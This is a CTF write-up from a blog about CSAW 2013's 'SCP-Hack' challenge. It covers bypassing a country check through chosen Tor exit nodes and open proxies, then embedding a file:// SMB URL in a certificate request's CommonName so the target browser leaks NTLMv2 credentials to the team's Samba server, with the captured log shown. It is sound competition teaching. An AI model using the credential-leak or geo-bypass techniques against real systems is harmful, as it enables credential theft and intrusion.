blog.sploit.de

CSAW CTF 2013 - Exploit 500 - SCP-Hack

MONDAY, SEPTEMBER 23, 2013 » CSAW, CTF, STRATUM AUHUUR

Exploitation 500 challenge of CSAW CTF 2013

Description

SCP-hack - 500 Points
The SCP organization (http://128.238.66.211:45000) wants you to join, accept and see if you can take advantage of their interns sloppy coding and outdated browser.

This challenge consists of two steps, the first is to collect enought "Flags" from different countries by connecting from an IP of that country(there are possibly other ways):

```
Welcome to SCP International
You are welcome to join the SCP community, but first you must prove you are "International". Use your SCP invi
Invite: COW37EJ85AK0

Required Flags (7/7)
th is st at ec an ro ck

Optional Flags (27/18)
kp fi bn ga um pl cm ug tv vu cc mz cs gd td ie fr cx bj sz sc lk si cd bf zm my za jm nr bb cg lv us gf ng mq
```

This was easyly done by using TOR and a small script:

- check which flags are required
- write a torrc config file limiting to the selected Exit Nodes
- start TOR with the generated config file
- wait for an established circuit
- using curl to request the page through the TOR socks proxy port

```
#!/usr/bin/env python2
import requests
url="http://128.238.66.211:45000/?invite=COW37EJ85AK0"
data=requests.get(url).content
f1 = '<div class="flag">'
f2 = "</div>"
p = 0
flags = []
while 1:
        p = data.find(f1, p)
        if p == -1:
                break
        p += len(f1)
        p2 = data.find(f2, p)
        if p2 == -1:
                break
        part = data[p:p2]
        p = p2 + len(f2)
        if 'class="bad"' in part:
                p2 = part.find('alt="')
                flag = part[p2+5:p2+7]
                flags.append(flag)
open("torrc", "w").write("ExitNodes {" + "},{".join(flags) + "}")
#started via: while true; do ./tor.py; tor -f torrc & PID=${!}; sleep 1; torify curl "http://128.238.66.211:45
```

After we had enough optional flags, we limited the exit node list to the required ones but the last 3 countries(ck, st, an) had no TOR ExitNodes so we had to use "open" "proxys" found on open-proxy-lists and IP ranges of the country - this was the funniest part of the challenge :).

When we finally had enough required and optional flags, nothing happened.
After some time, the challenge was modified to only required 5 of the "required" countries, this change did not help us, but we also got a new

input box:

```
You have proven yourself! Upload your certificate request:
[Browse...]
[Upload]
```

There we could upload a File and now the text on the page botton makes sense:

```
About us: SCP International is a new organization trying to promote safe international communication. We are p
```

On github we find a project which provides an interface for accepting or rejecting a Certificate Signing Request, the interface has a special feature: if an url is given in the CommonName field of the CSR, then an html-img-tag with the given url is embedded in the interface.

We can create such certificates for example this way:

```
# openssl genrsa -des3 -out server.key 1024
Generating RSA private key, 1024 bit long modulus
...++++++
............++++++
e is 65537 (0x10001)
Enter pass phrase for server.key:
Verifying - Enter pass phrase for server.key:

# openssl req -new -key server.key -out server.csr
Enter pass phrase for server.key:
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:http://1.2.3.4/file
Email Address []:

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
```

The source code found on GitHub limits the urls that can be given(otherwise no img is displayed):

- http://...
- https://...
- ftp://...
- file://...

Lets try it with http://1.2.3.4/test and look into the access log:
128.238.66.211 - - [22/Sep/2013:12:03:31 +0200] "GET /test HTTP/1.1" 404 521 "http://intern-box.thescpinternational.local/" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)"

Okay, the box uses an old Internet Explorer 7 on a Windows Vista OS and the interface runs on the server intern-box.thescpinternational.local. At this point we tried many things with the urls we could provide e.g.:

- https urls which force the client to authenticate with a certificate
- ftp with %0d%0a command injection to download a directory listing from a remote host like intern-box.thescpinternational.local
- http with required authorization

None of the above (and many other) ideas worked, we did not get anything like a flag.

What later resulted in succes was the file:// protocol referencing SMB Network shares like file://server/share/file.
We had a samba server running with activated debug and when we submitted a CSR with a suitable url in the CommonName filed, we got this:

```
[2013/09/22 13:19:35.374510,  1] ../librpc/ndr/ndr.c:247(ndr_print_debug)
       authenticate: struct AUTHENTICATE_MESSAGE
          Signature                : 'NTLMSSP'
          MessageType              : NtLmAuthenticate (3)
```

```
        LmChallengeResponseLen   : 0x0018 (24)
        LmChallengeResponseMaxLen: 0x0018 (24)
        LmChallengeResponse      : *
            LmChallengeResponse      : union ntlmssp_LM_RESPONSE(case 24)
            v1: struct LM_RESPONSE
                Response                 : 677186f85d383d5bad330e1b94920eb7286899e98e7a44d3
        NtChallengeResponseLen   : 0x005e (94)
        NtChallengeResponseMaxLen: 0x005e (94)
        NtChallengeResponse      : *
            NtChallengeResponse      : union ntlmssp_NTLM_RESPONSE(case 94)
            v2: struct NTLMv2_RESPONSE
                Response                 : c8d30abdba22d0546481d7c6035ee30f
                Challenge: struct NTLMv2_CLIENT_CHALLENGE
                    RespType                 : 0x01 (1)
                    HiRespType               : 0x01 (1)
                    Reserved1                : 0x0000 (0)
                    Reserved2                : 0x00000000 (0)
                    TimeStamp                : Tue Sep 17 06:40:25 2013 CEST
                    ChallengeFromClient      : 0677d287faaf5eee
                    Reserved3                : 0x00000000 (0)
                    AvPairs: struct AV_PAIR_LIST
                        count                    : 0x00000005 (5)
                        pair: ARRAY(5)
                            pair: struct AV_PAIR
                                AvId                     : MsvAvNbDomainName (0x2)
                                AvLen                    : 0x000a (10)
                                Value                    : union ntlmssp_AvValue(case 0x2)
                                AvNbDomainName           : '...'
                            pair: struct AV_PAIR
                                AvId                     : MsvAvNbComputerName (0x1)
                                AvLen                    : 0x000a (10)
                                Value                    : union ntlmssp_AvValue(case 0x1)
                                AvNbComputerName         : '...'
                            pair: struct AV_PAIR
                                AvId                     : MsvAvDnsDomainName (0x4)
                                AvLen                    : 0x0000 (0)
                                Value                    : union ntlmssp_AvValue(case 0x4)
                                AvDnsDomainName          : ''
                            pair: struct AV_PAIR
                                AvId                     : MsvAvDnsComputerName (0x3)
                                AvLen                    : 0x000a (10)
                                Value                    : union ntlmssp_AvValue(case 0x3)
                                AvDnsComputerName        : '...'
                            pair: struct AV_PAIR
                                AvId                     : MsvAvEOL (0x0)
                                AvLen                    : 0x0000 (0)
                                Value                    : union ntlmssp_AvValue(case 0x0)
        DomainNameLen            : 0x0012 (18)
        DomainNameMaxLen         : 0x0012 (18)
        DomainName               : *
            DomainName               : 'WORKGROUP'
        UserNameLen              : 0x003c (60)
        UserNameMaxLen           : 0x003c (60)
        UserName                 : *
            UserName                 : 'key=whereisthedirtysmellysauce'
        WorkstationLen           : 0x000c (12)
        WorkstationMaxLen        : 0x000c (12)
        Workstation              : *
            Workstation              : 'UBUNTU'
        EncryptedRandomSessionKeyLen: 0x0010 (16)
        EncryptedRandomSessionKeyMaxLen: 0x0010 (16)
        EncryptedRandomSessionKey: *
            EncryptedRandomSessionKey: DATA_BLOB length=16
```

Thats it, the flag was: whereisthedirtysmellysauce

+= 500

POWERED BY MYNT